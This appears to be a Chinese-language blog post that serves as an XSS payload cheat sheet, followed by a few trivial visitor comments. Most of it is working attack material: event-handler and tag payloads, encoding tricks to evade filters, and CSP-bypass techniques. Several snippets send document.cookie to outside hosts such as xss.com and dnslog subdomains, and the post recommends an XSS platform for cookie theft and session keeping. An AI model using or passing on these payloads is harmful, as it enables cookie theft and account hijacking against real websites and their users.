visitor202452024-09-28 14:05:01
can you reply to sure me you are active
2021-08-19 14:00:21ans
推荐使用的XSS平台:https://xs.sb
读取COOKIE+默认模块keepsession
非常好用的2020年CheatSheet:https://gitee.com/zhaofandu/XSS_Cheat_Sheet_2020_Edition
alert()
prompt()
confirm()
console.log()
document.write()
(1)事件触发:
onxxx=func()
(2)链接跳转:
location=javascript:func()
(3)代码执行:
eval(字符串拼接func)
(4)CSS属性嵌套JS:
css语句
当理解了基本的触发回显,即怎样触发弹窗函数之后,就可以构造应对各种情况的payload了。
payload构造其实很简单,前提是在理解上述触发回显的方式,比如链接跳转,其实并不需要什么花里胡哨的东西,只需要简单的一个<a>
标签:
<a href=javascript:alert(0)>asd</a>
<script>alert(0)</script>
<img src=x onerror=alert(0)>
<input name="user" value="" onclick=alert(0)>
<input onfocus=alert("xss") autofocus>
<details ontoggle=alert(0)>
<select onfocus=alert(0)></select>
<iframe onload=alert("xss");></iframe>
<video><source onerror=alert(0)>
<audio src=x onerror=alert(0)>
<body onload=alert(0)>
<body onscroll=alert(0)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>//自动翻滚导致弹窗
<textarea onfocus=alert("xss"); autofocus>//自动聚焦导致弹窗
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行
<isindex type=image src=1 onerror=alert(0)> //火狐和IE
<a href=javascript:alert(xss)>xss</a>
<form action="Javascript:alert(1)"><input type=submit>
<form><button formaction=javascript:alert(0)>X</button></form>
<form action=javascript:alert(0)><button type=submit>X</button></form>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<applet code="javascript:confirm(document.cookie);"> //需要安装applet插件
<isindex action=javascript:alert(32) type=image>
<p onclick="alert(0)">asd</p>
<p%09a%09onclick="alert(0)">tst</p>
各种标签测试Payload有个非常好用的网站:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
CSS(复现未成功):
<style type="text/css">
body{
color:#000; background-image:url(javascript:alert(0));
}
</style>
eval的作用是可以将字符串当做代码执行,而字符串的变化就太多了,可以拼接,可以用base64加密,可以用各种各样的编码去绕过。
定义变量拼接字符串:
<img src="x" onerror="a=`aler`;b=`t`;c='(0)';eval(a%2bb%2bc)">
Unicode编码:
<img src="x" onerror=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')>
URL decode:
<img src=x onerror=eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))>
Hex编码:
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
(1)location.search代表URL中?之后#之前(包括?)的语句,location.hash代表URL中#之后(包括#)的,且可以用[0]、[1]
表示第一个字符、第二个字符:
例如在URL中输入?(0)#alert
则POST参数的xss payload可以这样凑:
<img src=x onerror='a=location.search[1]+location.search[2]+location.search[3];b=location.hash[1]+location.hash[2]+location.hash[3]+location.hash[4]+location.hash[5];location="javascript:"+b+a'/>
(2)构造函数:
<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)
(3)location.hash(是URL中#之后的部分):
<script>location.href=location.hash.substr(1)</script>#javascript:alert(0) //href可以省略
<svg onload=location=location.hash.substr(1)></svg>#javascript:alert(0)
(4)不知道为啥可以的payload:
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)
(5)location语句后面的内容可以用字符串拼接,灵活度非常大,可用于on事件的value:
<IMG SRC=x onerror=location='java'+'script:alert(0)'>
不需要on事件的payload:
<a href=javascript:alert(xss)>xss</a>
<form action="Javascript:alert(1)"><input type=submit>
<form><button formaction=javascript:alert(0)>X</button></form>
<form action=javascript:alert(0)><button type=submit>X</button></form>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<applet code="javascript:confirm(document.cookie);"> //需要有applet插件
<isindex action=javascript:alert(32) type=image>
javascript进制编码:
<IMG SRC=x onerror=javascript:alert(String.fromCharCode(88,83,83))>
实体编码绕过(要URL编码):
<form action="javascript:alert(/xss/)"><button type=submit>X</button></form>
生成新的标签:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.onload=alert(0)>
空格替换:
%09 %0c %0d %0a /xxx/ /
标签名可以随意取:
<fuck onclick=alert(0)>fuck</fuck>
用字典方式调用alert(引号不能缺,可用反引号):
<svg/onload=window['al'%2b'ert'](0)>
<svg/onload=top['al'%2b'ert'](0)>
用base64加密:
<svg/onload=window[atob('YWxlcnQ=')](0)>
JSFUCK编码(只适用于POST):
<script>jsfuck编码的一大段</script>
八进制:
<img src=x onerror=alert('\170\163\163')>
括号被过滤:
(1)on事件内利用Throw抛出onerror指定的异常:
<svg/onload="window.onerror=alert;throw 0">
(2)反引号代替:
<svg/onload=alert`0`>
URL编码:
跳转到百度:
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
注:http可以省略,//和\\在linux均表示http访问,windows下\\表示本地的路径
data协议base64:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
利用this属性:
<input name="javascript:alert" onmouseover='location=this.name+"(0)"'/>
构造函数:
<svg/onload="a(this);function a()(alert(0))"/>
<pre>
和<code>
标签内部也可以构造XSS:
<pre><aaa onclick=alert(0)>asd</aaa></pre>
<code><aaa onclick=alert(0)>asd</aaa></code>
strip_tag的一个不知道有没有用的trick:
即标签属性若含有<>会被清空:
<p o<n>click="alert(0)">tst</p>
会变为:
<p onclick="alert(0)">tst</p>
通过类执行代码:
[]['filter']['constructor']('alert(1)')()
利用其他标签整合成payload(此处还有好多)
(CSP本地的测试在火狐上有问题,建议在Chrome上测试)
在default-src ‘none’的情况下,不需要unsafe-inline的设置便可以使用meta标签实现跳转:
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在script-src允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过:
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
<a>
也可:
<a href=//xxx.xxx.dnslog.cn>xss</a>
不想让页面跳转的话,可以通过加载文件的形式:
如果style-src没做限制的话,还可以用css加载图像的方式(chrome复现失败,因为chrome会把这个当成image-src,故还需要image-src为unsafe-inline才可):
<body style=background:url(http://[cookie].hc2fgl.dnslog.cn)>
如果script-src设置了self,依然可以用如下方式绕过(chrome复现失败,firefox成功):
<script>//@ sourceURL=https://xxx.com/?${escape(document.cookie)}</script>
网上看到把sourceURL改成sourceMappingURL也可以,后者是加载map源文件的语句,不知道什么环境下能行
<link>
标签预加载:CSP对link标签的预加载功能考虑不完善。没有语句是针对<link>
标签的,因此script-src和style-src等设为self依然可用。例如如下标签会预先访问dnslog的页面:
(注:新版Chrome对<link>
标签有了限制,目前测试的rel只有”dns-prefetch”和”pre-connect”可用了)
<link rel="dns-prefetch" href="http://aaa.xxx.dnslog.cn">
然而,<link>
标签是没法获取cookie的,但如果script-src为unsafe-inline的话,则可以在<script>
标签里创建<link>
标签且把cookie加入进去:
<script>
const i=document.createElement('link');
i.setAttribute('rel','dns-prefetch');
i.setAttribute('href','http://'+document.cookie+'xxx.dnslog.cn');
document.head.appendChild(i);
</script>
1.当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
<iframe src="B"></iframe>
2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库(复现失败):
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
jsonp本身就是要跨域的,而大多数jsonp完全可控,现在扫描器也都能扫描出jsonp的callback参数的xss了
未设置则查看有哪些源没有设置,例如:
default-src 'self';script-src 'self'; img-src 'self';
则object-src等都没有设置,可用<object> <applet> <embed>(恶意pdf)
绕过
svg标签内部可以嵌入<script>
标签执行JS代码,如果有能上传SVG图片的输入点,便可通过传SVG图片造成XSS(需要script-src ‘unsafe-inline’)
https://blog.szfszf.top/article/32/
如果可以将js文件上传到服务器,只要符合js语法,那可以用script标签加载js文件。但服务器很可能会过滤掉js后缀,所以需要找到可用的后缀类型,script在加载标签的时候会先检查MIME类型,如果发现为非可执行文件则不会执行JS。
因此mp3、图片一类的后缀经测试都无法执行。
其实任意不存在的后缀或者直接无后缀都是可以导入的,但需要内容符合JS语法
<script src="upload/xxx"></script>
但若服务器有内容检查,文件头必须符合文件类型。许多文件头基本都是乱码,但wave文件头是’RIFF’开头的,因此可以满足JS语法的要求。
RIFFeffbWAVEfmt =1;alert(0);
wave恰好满足可执行的MIME。
这个很容易理解,如果HTTP头可控,加一个\r\n换行把CSP搞到返回内容中或者新写一个CSP覆盖掉。
meta标签在header没有设置的情况下可以控制缓存,有时可用来绕过nonce
<meta http-equiv="cache-control" content="public">
nonce是在设置unsafe-inline不够安全的一种补偿方式,例如设置了script-src ‘nonce-xxx’后,要想执行JS,script标签中的nonce属性必须与csp中的一致。通常nonce是随机值,由服务器自己产生自己对应。
1.CSP设置了strict-dynamic
结合查阅的Black Hat 2017的文章可知,我们可以在页面上找一个可以动态生成DOM节点的JS Gadget,然后通过某些方式来劫持其中的DOM节点元素,从而使动态生成的标签可以继承该Gadget的nonce直接执行JS代码。
文章链接如下:
可以参考的文章:
https://xz.aliyun.com/t/4165#toc-11
2.特定情况利用浏览器补全
例如脚本插入点在含nonce的script标签之前:
<p>插入点</p>
<script type="text/javascript" nonce="abc">document.write('CSP');</script>
可以插入:
<script src=//1.cibp7f.dnslog.cn a="
凑成:
<p><script src=//1.cibp7f.dnslog.cn a=" </p>
<script type="text/javascript" nonce="abc">document.write('CSP');</script>
第二行开头到type那里的双引号和第一行最后的对应起来了,
3.输入点在location.hash
location.hash的内容是不经过后台的,也就是说服务器接收不到location.hash
例如发送如下URL:xxx.com#abc
服务器接收到的是xxx.com,#abc服务器接收不到
这意味着location.hash一旦成为注入点,不经过后台,nonce值是不会刷新的,故可以得到当前nonce从而执行JS
值得注意的是location.hash的内容是URL编码过的,需要用JS的decode函数转换一下
4.用CSS选择器获取nonce值(复现失败)
CSS提供了选择器,当选择器对应到元素时,可以加载一个域外请求(需要style-src为unsafe-inline)
如果页面有标签asd,其属性m值为“aaa“,则可以用下面的语句选择出这个标签并进行一次请求:
<style>asd[m^="aaa"]{background:url("http://aaa.8inqdj.dnslog.cn")}</style>
^=表示从开头匹配,[]前面的asd可以改成*,表示匹配所有元素
同样,nonce的值也可以这样按位匹配出来
但是需要特定条件:
1.style-src和img-src都是unsafe-inline
2.可以多次发送请求且获取的数据不会变(nonce几乎不可能遇到)
而复现时压根就不会发请求……
5.利用DOM XSS
如果有DOM操作可以插入HTML并且可以控制插入的HTML内容,则可绕过CSP
因为DOM操作的nonce值是服务器指定的,必定和CSP一致
6.base-url覆盖
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>
标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径:
<?php
header("default-src 'self'; script-src 'nonce-test'");
?>
<base href="//xxx.com">
<script nonce='test' src="/fuck.js"></script>
需要注意的是插入<base>
的地方要在script标签以前,否则不会更改base之前的默认地址
参考:
https://blog.csdn.net/u014345860/article/details/77352889?utm_source=blogxgwz5
https://www.jianshu.com/p/f1de775bc43e
https://www.dazhuanlan.com/2020/03/17/5e70313b6e0f1/
visitor202452024-09-28 14:05:01
can you reply to sure me you are active
visitor202452024-09-28 14:04:12
great, I like your thinking
visitor44512024-08-13 07:01:24
1
visitor44302024-08-13 06:48:21
<